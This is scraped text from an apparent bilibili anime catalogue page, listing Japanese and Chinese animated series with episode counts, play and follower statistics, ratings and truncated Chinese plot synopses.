简介:故事讲述男主角大山武进入了原本是女校的天日学园,在这间女性的花园的学校里,等着大山武的是能干的青梅竹马—检警部副会长统生会副会长的女主角天谷春恋、高傲的大小姐姫神木灵及非常可爱的未婚妻栉八稻穗。在大日...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 626.3 万 + + + 追番人数 57.8 万 + + + 硬币数 3.1 万 + + + 弹幕总数 47.9 万 + + + 评分 9.3 + + +
+

简介:《真实之泪 true tears》是由P.A.WORKS所制作的日本的电视动画作品。 +本作自2008年1月开始播放,以富山县为舞台(担当动画制作的P.A.WORKS社址就在富山县南砺市),角色和剧情均...

+
+
+ + +
+
+
+
+ +
+ + + + 全3话0 + + + + + 国创 中国大陆 + + + + 总播放 3928.0 万 + + + 追番人数 149.2 万 + + + 硬币数 14.2 万 + + + 弹幕总数 81.8 万 + + + 评分 8.7 + + +
+

简介:根据蝴蝶蓝同名电子游戏竞技小说改编,一个被战队驱逐的超级职业选手离开老东家,进入网吧自行组建战队,结识了形形色色的优秀队员,打挑战赛杀回了《荣耀》的职业联盟,并获得了最高的荣誉重回巅峰。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1226.7 万 + + + 追番人数 82.4 万 + + + 硬币数 6.2 万 + + + 弹幕总数 33.1 万 + + + 评分 9.7 + + +
+

简介:《Anne-Happy》是作者琴慈在《漫画时光Kirara Forward》上连载的漫画作品。是一部讲述以聚集了全是不幸学生的天之御船学园1年7班为舞台的喜剧。动画监督由出任过《魔法少女伊莉雅》等作品...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3144.8 万 + + + 追番人数 280.4 万 + + + 硬币数 28.7 万 + + + 弹幕总数 92.5 万 + + + 评分 9.8 + + +
+

简介:  故事从男主角死亡之后从“死后的世界”醒来开始,在“死后的世界”中的学校里,他与一位名为由利(ゆり)、在“死后的世界”率领着一个名为“死んだ(Shinda)世界(Sekai)战线(Sensen)”简...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 398.6 万 + + + 硬币数 48.9 万 + + + 弹幕总数 379.4 万 + + + 评分 9.1 + + +
+

简介:本片围绕着“将棋”这个竞技项目展开,主人公“九头龙八一”仅16岁就获得了将棋界最强头衔“龙王”,某天他的家中竟突然出现了一名9岁的小学女生“雏鹤爱”,并且对方还要成为八一的弟子?!在这样的背景下,一场...

+
+
+ + +
+
+
+
+ +
+ + + + 全17话0 + + + + + 番剧 日本 + + + + 总播放 1443.4 万 + + + 追番人数 129.7 万 + + + 硬币数 10.6 万 + + + 弹幕总数 64.9 万 + + + 评分 9.6 + + +
+

简介: 故事发生在私立山星高中,这所学校的文化研究部内,八重樫太一、永濑伊织、稻叶姬子、桐山唯、青木义文这五名成员面临着一个不可思议的现象。起初是唯和义文两个人在毫无前兆的情况下发生了人格交换,之后周围的...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 3869.2 万 + + + 追番人数 105.2 万 + + + 硬币数 6.0 万 + + + 弹幕总数 51.5 万 + + + 评分 9.7 + + +
+

简介:从小备受父王及哈克宝贝呵护的高华国公主‧优娜,在她16岁生日的当天,她的心上人苏芳来到宫殿,并送她漂亮的发簪。不过优娜的父亲并不允许她跟苏芳的交往,依旧对苏芳无法死心的优娜决定向父王表明她的心意时,却...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 3441.0 万 + + + 追番人数 133.1 万 + + + 硬币数 5.4 万 + + + 弹幕总数 96.4 万 + + + 评分 9.1 + + +
+

简介:在这片不可思议的大陆上,出现了沉眠着秘宝的神秘遗迹──“迷宫”。少年阿拉丁在旅行世界各地的途中,邂逅了阿里巴巴,两人为了寻求秘宝,共同以攻略“迷宫”为目标。反覆经历了各式各样的相遇与别离,阿拉丁将得知...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 238.7 万 + + + 追番人数 25.4 万 + + + 硬币数 1.1 万 + + + 弹幕总数 5.3 万 + + + 评分 8.2 + + +
+

简介:名叫远野志贵的十七岁少年,在八年前的某次意外中身受重伤,之后获得了能“杀死”事物的“直死之魔眼”。由于对这种能力无法适应,年幼的志贵在当天逃离了医院,并意外邂逅了一个名叫苍崎青子的魔法使。在她的帮助下...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 395.6 万 + + + 追番人数 38.3 万 + + + 硬币数 9393 + + + 弹幕总数 5.2 万 + + + 评分 9.5 + + +
+

简介:在并不遥远的未来世界,人类文明高度发达,一种被称作“武装神姬”的迷你机器人得到开发。她们全部为女性形象,身长为15cm左右,对于其所认定的主人,神姬们忠诚热情,为了主人、荣誉感或者仅仅一时的冲动,这些...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2145.1 万 + + + 追番人数 77.1 万 + + + 硬币数 6.7 万 + + + 弹幕总数 51.9 万 + + + 评分 9.7 + + +
+

简介:天生拥有一头如红苹果般美丽发色的少女白雪,因为稀有的发色而被恶名昭彰的拉冀王子看上,打算强行纳她为爱妾。困扰的她剪下一撮红发后离家出走,决定离开自己的国家。 +在逃到邻国克拉利涅斯的森林时,白雪遇到了偷...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3555.2 万 + + + 追番人数 155.6 万 + + + 硬币数 12.9 万 + + + 弹幕总数 105.4 万 + + + 评分 9.7 + + +
+

简介:天生拥有一头如红苹果般美丽发色的少女白雪,因为稀有的发色而被恶名昭彰的拉冀王子看上,打算强行纳她为爱妾。困扰的她剪下一撮红发后离家出走,决定离开自己的国家。 +在逃到邻国克拉利涅斯的森林时,白雪遇到了偷...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 470.5 万 + + + 追番人数 28.1 万 + + + 硬币数 1.5 万 + + + 弹幕总数 4.5 万 + + + 评分 9.7 + + +
+

简介:“我,最喜欢真寻了——。” +八坂真寻的日常,每一天都被住在自家的奈亚子、克子和哈斯太三名邪神热闹地包围着。 +某个假日,真寻的同学珠绪和余市拿到了引起话题的游乐园的门票,出现在真寻家中…… +而这一次奈亚...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 356.2 万 + + + 追番人数 19.6 万 + + + 硬币数 4803 + + + 弹幕总数 3.6 万 + + + 评分 9.6 + + +
+

简介:高中生少年八坂真寻的面前突然出现了一位银发碧眼的美少女,她自称是克苏鲁神话中登场的邪神·奈亚拉托提普,并且是宇宙人。从那以后,以奈亚子和真寻为中心的邪神(宇宙人)和地球人所引起的尽是麻烦的每一天开始了...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 563.4 万 + + + 追番人数 31.9 万 + + + 硬币数 5867 + + + 弹幕总数 2.8 万 + + + 评分 9.6 + + +
+

简介:原作第11卷改编,第一期全卷DVD/BD收录,长度为15分钟。 + +

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 259.3 万 + + + 硬币数 26.4 万 + + + 弹幕总数 235.9 万 + + + 评分 8.8 + + +
+

简介:本作以“人类世界最后的故事”之旗号,描绘了某一天因未知病毒的肆虐,人类面临着灭亡的窘境。此时,只有13岁以下的孩子们不会被病毒所感染,而这些孩子被从地下都市出现的吸血鬼所囚禁,并作为血液的供方用于饲养...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 257.5 万 + + + 硬币数 51.1 万 + + + 弹幕总数 253.4 万 + + + 评分 9.5 + + +
+

简介:黑铁一辉虽有着成为能将灵魂转化为魔剑的“魔导骑士”的目标,却由于自身没有魔法方面的才能,而被他人戏称为“落第骑士”。不过,在与来自异国的公主——有名且最强的“A级骑士”史黛菈・法米利昂相遇后,一辉的“...

+
+
+ + +
+
+
+
+ +
+ + + + 全15话0 + + + + + 番剧 日本 + + + + 总播放 191.0 万 + + + 追番人数 12.0 万 + + + 硬币数 4788 + + + 弹幕总数 4.0 万 + + + 评分 9.4 + + +
+

简介:灼眼的夏娜炭是J.C.STAFF公司发行灼眼的夏娜的BD以及DVD动画时附赠的短片特典动画,共15集,已完结。...

+
+
+ + +
+
+
+
+ +
+ + + + 全4话0 + + + + + 番剧 日本 + + + + 总播放 204.9 万 + + + 追番人数 20.2 万 + + + 硬币数 8084 + + + 弹幕总数 9.8 万 + + + 评分 9.6 + + +
+

简介:夏娜和悠二为了寻找红世之王法利亚格尼所留下的宝具,来到了某栋废弃的百货大楼。当两人还在堆积如山的玩具中苦寻不获时,他们还不知道悠二偶然捡到的望远镜就是所要寻找的宝具。由于宝具的力量,夏娜和悠二的意识通...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 128.4 万 + + + 追番人数 17.2 万 + + + 硬币数 4436 + + + 弹幕总数 3.5 万 + + + 评分 9.5 + + +
+

简介:新学期刚开始,高中生·坂井悠二一如往常过着“日常生活”。然而有一天,他冷不防遭遇红世之王手下的侵袭。受到一名能够把人的存在化为灵火,并吸取灵火的神秘男子法利亚格尼的攻击。悠二的“日常”生活因此整个脱节...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 909.2 万 + + + 追番人数 41.2 万 + + + 硬币数 3.3 万 + + + 弹幕总数 117.4 万 + + + 评分 9.2 + + +
+

简介:《灼眼的夏娜》TV第二季的故事将从小说第八卷开始,以红世之徒·“戏睡乡”梅亚入侵御崎市作为开篇。据监督渡部高志所说,故事会对第一季的一些伏笔作出解释。第二季STAFF和声优会由原班人马担任,“钉宫之誓...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2249.4 万 + + + 追番人数 140.8 万 + + + 硬币数 6.9 万 + + + 弹幕总数 193.5 万 + + + 评分 9.4 + + +
+

简介:新学期刚开始,高中生·坂井悠二一如往常过着“日常生活”。然而有一天,他冷不防遭遇红世之王手下的侵袭。受到一名能够把人的存在化为灵火,并吸取灵火的神秘男子法利亚格尼的攻击。悠二的“日常”生活因此整个脱节...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2932.5 万 + + + 追番人数 172.0 万 + + + 硬币数 5.5 万 + + + 弹幕总数 62.3 万 + + + 评分 9.3 + + +
+

简介:仅在凌晨0时能够接通的“地狱通信”。 +若在此处写上自己未能得偿的怨恨,地狱少女就会出现,让你憎恨的对象坠入地狱……。在年轻人之间广为流传的这个如同都市传说般的传闻,实际上是真有其事的。 + +少女的名字是...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 3405.7 万 + + + 追番人数 96.4 万 + + + 硬币数 23.7 万 + + + 弹幕总数 25.0 万 + + + 评分 8.7 + + +
+

简介:小黑(魍衡)和小白(延魉)是地界普通的一队黑白无双,但在小白身上隐藏着惊人的秘密和巨大的能量,各界围绕着小白展开了角逐,作为小白的哥哥,为了保护小白,为了三界和平,小黑从一个顽劣的孩子成长为强大的战士...

+
+
+ + +
+
+
+
+
+ 伪恋: +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6474.9 万 + + + 追番人数 186.1 万 + + + 硬币数 22.9 万 + + + 弹幕总数 126.2 万 + + + 评分 9.4 + + +
+

简介:本作是一部青春爱情喜剧,故事以假装成恋人的两人——日本黑道“集英组”头目的独子一条乐,与美国黑帮“蜂巢”的当家千金桐崎千棘,还有一条乐所暗恋的女生小野寺小咲的三角关系为中心展开;随后又加入了性格各异的...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 6451.6 万 + + + 追番人数 231.3 万 + + + 硬币数 24.7 万 + + + 弹幕总数 132.4 万 + + + 评分 9.6 + + +
+

简介:由ろびこ在讲谈社女性向月刊杂志《Dessert》连载的同名漫画改编。 +水谷雫被邻座那位超级问题人物——吉田春的纯真所吸引,最后反而喜欢上他了。然而,某天雫终于鼓起勇气向春告白,但她怎么也没想到居然得到...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 287.6 万 + + + 硬币数 27.5 万 + + + 弹幕总数 119.0 万 + + + 评分 9.6 + + +
+

简介:管你是魔王还是勇者,想填饱肚子就得工作! +原本即将征服世界的魔王撒旦却遭勇者击败,被迫漂流到异世界“日本”。为了赚取生活费,魔王将三坪大的公寓当成临时魔王城,开始过着打工族的生活。没想到勇者竟追随他的...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 番剧 日本 + + + + 总播放 4812.3 万 + + + 追番人数 243.6 万 + + + 硬币数 26.1 万 + + + 弹幕总数 526.1 万 + + + 评分 9.2 + + +
+

简介:电视动画《我的妹妹哪有这么可爱!》改编自由日本轻小说家伏见司原作的同名轻小说,剧情对应原作小说的前5卷内容。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 934.0 万 + + + 追番人数 105.0 万 + + + 硬币数 3.2 万 + + + 弹幕总数 19.9 万 + + + 评分 9.3 + + +
+

简介:神様のメモ帐(神的记事本)是日本作家杉井光所做轻小说,并衍生成为漫画,动画及广播剧作品。该作故事讲述了“尼特侦探”爱丽丝和身为侦探助手的藤岛鸣海所编织的无奈奇怪但稍微会展现出一点勇气的故事。在闹区的巷...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 番剧 日本 + + + + 总播放 3660.0 万 + + + 追番人数 125.9 万 + + + 硬币数 29.9 万 + + + 弹幕总数 801.5 万 + + + 评分 8.4 + + +
+

简介:电视动画《我的妹妹哪有这么可爱。》是根据由日本小说家伏见司撰写、神崎广负责插画的轻小说《我的妹妹哪有这么可爱!》改编的动画作品,亦是电视动画《我的妹妹哪有这么可爱!》的续作。...

+
+
+ + +
+
+
+
+
+ DOG DAYS +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 519.1 万 + + + 追番人数 48.0 万 + + + 硬币数 9665 + + + 弹幕总数 14.5 万 + + + 评分 9.3 + + +
+

简介:本作的故事舞台设定在异世界,比斯科迪共和国与邻国·加雷特狮子团这两国的战争之中。加雷特狮子团向比斯科迪共和国发起了侵略战争,比斯科迪共和国的公主·米尔希奥蕾决定从异世界(地球)召唤勇者,希望能解除这场...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 767.2 万 + + + 追番人数 71.3 万 + + + 硬币数 3.1 万 + + + 弹幕总数 28.6 万 + + + 评分 9.6 + + +
+

简介:【本片翻译由澄空字幕组提供】一个由四位女神所守护的异世界,因为女神们千年来不断的争执而使得下界充满了怪物。在争论中,守护女神之一的“紫色之心”掉落至下界且失去了记忆。就在这时她听到了主司创造者的声音,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1007.6 万 + + + 追番人数 21.1 万 + + + 硬币数 1.2 万 + + + 弹幕总数 9.1 万 + + + 评分 7.9 + + +
+

简介:【支付12B币可收看全季内容,已购买用户与bilibili大会员将继续免费观看】《血色苍穹》世界升级,开启二段难度模式,新一批执行者出现,同时APP也出现了新的特定功能,李鸣洋、米岚等人即将面对更大的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4231.0 万 + + + 追番人数 152.7 万 + + + 硬币数 19.7 万 + + + 弹幕总数 118.3 万 + + + 评分 9.2 + + +
+

简介:“……和我一起,试着加入游戏部怎样?”兴趣是游戏,除此之外毫无显眼的特征,仅仅是个龙套的游戏玩家雨野景太,某天突然被学园第一的美少女,游戏部部长天道花怜搭话了。 +由此开始,景太的日常为之一转,开始了与...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2792.3 万 + + + 追番人数 191.5 万 + + + 硬币数 15.3 万 + + + 弹幕总数 76.3 万 + + + 评分 9.6 + + +
+

简介:这是一个以占卜行业为主轴的小镇,国内憧憬著占卜师的少女们都在身处其中以成为「Urara」为目标而努力著。其中一位来自深山、名为「千矢」的少女也在因缘际会下来到这个小镇,并意外遇见三位同样以「枣屋」为目...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 40.1 万 + + + 追番人数 11.7 万 + + + 硬币数 1326 + + + 弹幕总数 9048 + + + 评分 8 + + +
+

简介: 能够透视人梦境深处这种不可思议能力的高中生藤原梦路,有一天遇到了与从“幻界”徘徊到“现界”的少女——玛利!玛利究竟是什么人?幻界是什么地方?梦魔又是什么东西?还有,梦魔们到底是为了什么来到...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.5 亿 + + + 追番人数 452.9 万 + + + 硬币数 36.1 万 + + + 弹幕总数 556.6 万 + + + 评分 9.6 + + +
+

简介:作为「Fate/stay night」的前传,「Fate/Zero」的故事舞台设定在第五次圣杯战争的10年前,即第四次圣杯战争;而在「Fate/stay night」中充满神秘感的卫宫切嗣则会成为「F...

+
+
+ + +
+
+
+
+
+ GOSICK +
+
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1353.4 万 + + + 追番人数 190.5 万 + + + 硬币数 9.5 万 + + + 弹幕总数 35.9 万 + + + 评分 9.7 + + +
+

简介:就读于拥有悠久庄严历史的圣玛格丽特学园的东方少年——久城一弥,某天在学园的温室内与一位身著华丽服装、犹如洋娃娃般美丽的少女——维多利加相遇了。维多利加拥有侦探般聪明的头脑和敏锐的洞察力,只要她所到之处...

+
+
+ + +
+
+
+
+
+ 星之梦 +
+
+ + + + 全5话0 + + + + + 番剧 日本 + + + + 总播放 1178.9 万 + + + 追番人数 124.3 万 + + + 硬币数 7.4 万 + + + 弹幕总数 26.7 万 + + + 评分 9.7 + + +
+

简介:在封印的都市中被废弃的天象馆,误入其中的男人所见到的机器人少女,那是被繁星所引导的奇迹的物语。 +那是世界大战之后雨下个不停的世界。受到细菌武器的影响,而被人们抛弃了的最危险的城市【封印都市】。在某个百...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 954.6 万 + + + 追番人数 55.9 万 + + + 硬币数 1.4 万 + + + 弹幕总数 23.4 万 + + + 评分 8.1 + + +
+

简介: 《公主恋人》原作讲述的是主人公与超名流大小姐们展开的优雅的恋爱冒险故事,父母在事故中双亡的有马哲平(旧姓小林)原本是普通的学生,有一天被突然出现的祖父而且还是日本经济界巨头有马一心收养,成为有马一族...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3577.5 万 + + + 追番人数 201.4 万 + + + 硬币数 18.3 万 + + + 弹幕总数 358.6 万 + + + 评分 9.7 + + +
+

简介:【本字幕由LoveEcho!字幕组协力译制】位于东京都千代田区的传统高校“音乃木阪学院”,因为入读的学生人数骤减,所以正面临着废校的危机。其中九位少女为了保护她们喜爱的学校而决定成为偶像,因为只要她们...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 1.6 亿 + + + 追番人数 428.8 万 + + + 硬币数 37.3 万 + + + 弹幕总数 363.5 万 + + + 评分 6 + + +
+

简介:过去,在被称作冬木的城市曾举行过由七位魔术师与英灵参加的“圣杯战争”。然而趁着第二次世界大战的混乱,“某位魔术师”强行夺走了圣杯。数十年过去,千界树一族高举那个圣杯为象征,叛离了魔术协会,宣布独立。愤...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 951.8 万 + + + 追番人数 49.9 万 + + + 硬币数 6.1 万 + + + 弹幕总数 30.0 万 + + + 评分 9.5 + + +
+

简介:故事发生在静冈县沼津市海边的小镇、位於内浦的私立浦之星女子学院。 +在这间骏河湾一隅的小小高中里面, +以2年级的高海千歌为中心的9名少女,怀抱著远大的梦想挺身而出。 +那就是,要成为闪闪发光的“学园偶像”...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7891.4 万 + + + 追番人数 352.1 万 + + + 硬币数 25.5 万 + + + 弹幕总数 142.0 万 + + + 评分 9.7 + + +
+

简介:以遥远的未来为舞台,地上的生物沉入了海底,被微生物吃掉成为无机物体。由于长时间的结晶变成宝石生命体的存在。那个拥有宝石身体的28人,与袭击他们打算将其作为装饰品的月人展开了一场又一场的战斗。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2111.8 万 + + + 追番人数 111.4 万 + + + 硬币数 11.8 万 + + + 弹幕总数 66.2 万 + + + 评分 9.6 + + +
+

简介:——有想要实现的梦想! +高中毕业后,进入游戏制作公司“Eagle Jump”的凉风青叶,开始参与她自幼热衷的游戏《妖精物语》系列的最新作《妖精物语3》的制作。 +与使自己立志成为角色设计师的契机——八神...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2651.3 万 + + + 追番人数 185.0 万 + + + 硬币数 14.3 万 + + + 弹幕总数 65.2 万 + + + 评分 9.8 + + +
+

简介:本故事以被武力和恐怖支配的本能字学院为舞台,以为父报仇的转校生少女为中心, 围绕着在学园中“执牛耳者”的学生及学生会四大天王间的激战故事展开。 +缠流子和鬼龙院皋月,两人为本作的主人公。在本作中,皋月用...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 1853.8 万 + + + 追番人数 172.8 万 + + + 硬币数 13.8 万 + + + 弹幕总数 79.7 万 + + + 评分 9.5 + + +
+

简介:毫无特色的少年降谷千纮,就读于县立紫阳高校一年级,是个非常喜爱僵尸的人。少女散华礼弥是散华家的千金,虽然受到很多人的羡慕,但事实上却因为被父亲过度束缚而十分痛苦。 +本来这两人并没有任何相交点,但在机缘...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 国创 中国大陆 + + + + 总播放 2172.2 万 + + + 追番人数 56.2 万 + + + 硬币数 2.3 万 + + + 弹幕总数 24.3 万 + + + 评分 8 + + +
+

简介:【支付12B币可收看全季内容,已购买用户与bilibili大会员将继续免费观看】李鸣洋原本是一名平凡上班族,因为一个奇怪的二维码而陷入一个杀戮都市。在这里所有人都被迫参与一场追杀与被杀的生存游戏中。在...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 6396.1 万 + + + 追番人数 284.2 万 + + + 硬币数 45.2 万 + + + 弹幕总数 602.1 万 + + + 评分 8.9 + + +
+

简介:主人公季堂锐太是个成绩优秀的高中一年级学生,同时也是个恋爱反对派。本来是和像自己妹妹一般的青梅竹马一起过着普通的高中生活的,但某天却被校内公认的第一美人,归国子女夏川真凉表白了。然而真凉的真实意图却是...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2148.1 万 + + + 追番人数 123.9 万 + + + 硬币数 9.0 万 + + + 弹幕总数 114.3 万 + + + 评分 9.2 + + +
+

简介:“LoveLive!Sunshine!!”是日升动画、Lantis和《电击G's magazine》共同打造的跨媒体偶像企划“LoveLive!学园偶像计划”于2015年公布的新企划。于2016年7月...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3529.7 万 + + + 追番人数 106.1 万 + + + 硬币数 19.7 万 + + + 弹幕总数 164.2 万 + + + 评分 9.8 + + +
+

简介:【本字幕由LoveEcho!字幕组协力译制】在秋叶原,神田和神保町这三条街上的传统学校,音乃木坂学园正面临着废校的大危机。 +面对学校的危机,以二年生高坂穗乃果为中心的九位女生站了出来。 +为了保护我们最...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 3141.8 万 + + + 追番人数 62.6 万 + + + 硬币数 4.5 万 + + + 弹幕总数 19.1 万 + + + 评分 8.2 + + +
+

简介:在奈河的彼岸,是终年黑夜的地界,地界通过鬼差维持着三界生死平衡……而专程前往人间收灵的鬼差就是黑白无双。黑白无双吊车尾组合——小黑小白,在经历了百鬼封印事件后,两人关系若即若离,小白的身世也渐渐浮出水...

+
+
+ + +
+
+
+
+
+ 笨女孩 +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 370.9 万 + + + 硬币数 35.1 万 + + + 弹幕总数 219.5 万 + + + 评分 9.3 + + +
+

简介:空前绝后的笨蛋,就在这里! +笨到无可救药的女高中生·花畑佳子。 +非常喜欢香蕉。 +非常喜欢青梅竹马的阿君。 +以上!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 850.2 万 + + + 追番人数 30.6 万 + + + 硬币数 1.5 万 + + + 弹幕总数 14.2 万 + + + 评分 5.9 + + +
+

简介:主人公弥琉,嗜血族与人类的混血,是被寄予厚望的“和平之子”。但是,他却被作为银行袭击事件的主犯遭到逮捕,并被移送到一个特殊的监狱里。面对突然出现的怪物袭击,弥琉与左安琪等人尝试逃出此地,并对特殊监狱的...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 955.1 万 + + + 追番人数 99.9 万 + + + 硬币数 12.1 万 + + + 弹幕总数 38.5 万 + + + 评分 9.5 + + +
+

简介:【本片翻译由幻之字幕组提供】本片于2015年4月25日于日本上映,延续了TV版剧情一年后的事。一年后,栗山未来同学复活后失去记忆。秋人同学在新学期为着栗山同学的未来着想,开始疏远栗山同学,在新的战斗中...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 903.8 万 + + + 追番人数 79.8 万 + + + 硬币数 4.6 万 + + + 弹幕总数 9.1 万 + + + 评分 9.6 + + +
+

简介:【本片翻译由幻之字幕组提供】2013年放送的TV动画《境界的彼方》,于2015年春宣布上映剧场版动画。该剧场版由「过去篇」和「未来篇」2部构成。其中「过去篇」以女主角栗山未来为中心,回顾TV动画版中发...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5726.8 万 + + + 追番人数 435.2 万 + + + 硬币数 29.6 万 + + + 弹幕总数 277.5 万 + + + 评分 9.5 + + +
+

简介:【本片翻译由澄空学园字幕组提供】“那一族”唯一存活下来的少女与根本说不上是存在的“半妖”少年的二个人之间的故事。由人类与妖梦所生出的少年神原秋人某天在学校的屋顶上遇到从天而降的少女栗山未来。就算在异界...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1829.8 万 + + + 追番人数 74.0 万 + + + 硬币数 8.0 万 + + + 弹幕总数 61.1 万 + + + 评分 9.5 + + +
+

简介:男主角瓜生新吾是“各务台学园”的普通学生。不过该学校由于各种原因的关系,在新学期开始的时候将同名叫“结姬女子学园”的名门女校进行合并。为了让学生能够更加融洽地相处,校方在新学期开始之前实行了试行合并,...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 6771.2 万 + + + 追番人数 407.9 万 + + + 硬币数 70.5 万 + + + 弹幕总数 544.5 万 + + + 评分 9.7 + + +
+

简介:就读于水明艺术大学附属高中的神田空太,一年级夏天时因为在宿舍养猫而被校长叫去问话,并要他把猫赶走,不然就搬出宿舍。身为爱猫一族的空太企图反抗,结果被撵出了宿舍,流落到恶名昭彰的“樱花庄”。 隔年春天,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 771.2 万 + + + 追番人数 51.7 万 + + + 硬币数 1.7 万 + + + 弹幕总数 20.5 万 + + + 评分 9.2 + + +
+

简介:某日早晨,普通的女子高校生・源内青收到一个神秘包裹。 +打开后发现里面放了名为FRAME ARMS GIRL的完全自律型小型机器人『轰雷』。 +是玩具!还是塑胶拼装模型! + +但是轰雷不仅仅是FRAME A...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6167.4 万 + + + 追番人数 132.3 万 + + + 硬币数 11.6 万 + + + 弹幕总数 100.6 万 + + + 评分 8.6 + + +
+

简介:袭击了二十世纪的地球的前所未有的大灾害·落星雨。在这场大灾害之下,世界多数的都市遭到毁灭。但,从陨石中发现的未知元素——万应素,让人类的科学技术加速发展,终於诞生出被称作“星脉世代”、拥有特异之力的新...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 678.9 万 + + + 追番人数 41.9 万 + + + 硬币数 5.9 万 + + + 弹幕总数 15.6 万 + + + 评分 9.8 + + +
+

简介:私立碧阳学院的学生会成员都是通过单纯的人气投票评选出来的,这样做的结果导致了由学生会长樱野栗梦开始,除了通过努力学习进入学生会的男生杉崎键之外,所有学生会成员都是清一色的美少女。而本作要讲述的就是私立...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1186.0 万 + + + 追番人数 97.0 万 + + + 硬币数 7.1 万 + + + 弹幕总数 23.1 万 + + + 评分 9.8 + + +
+

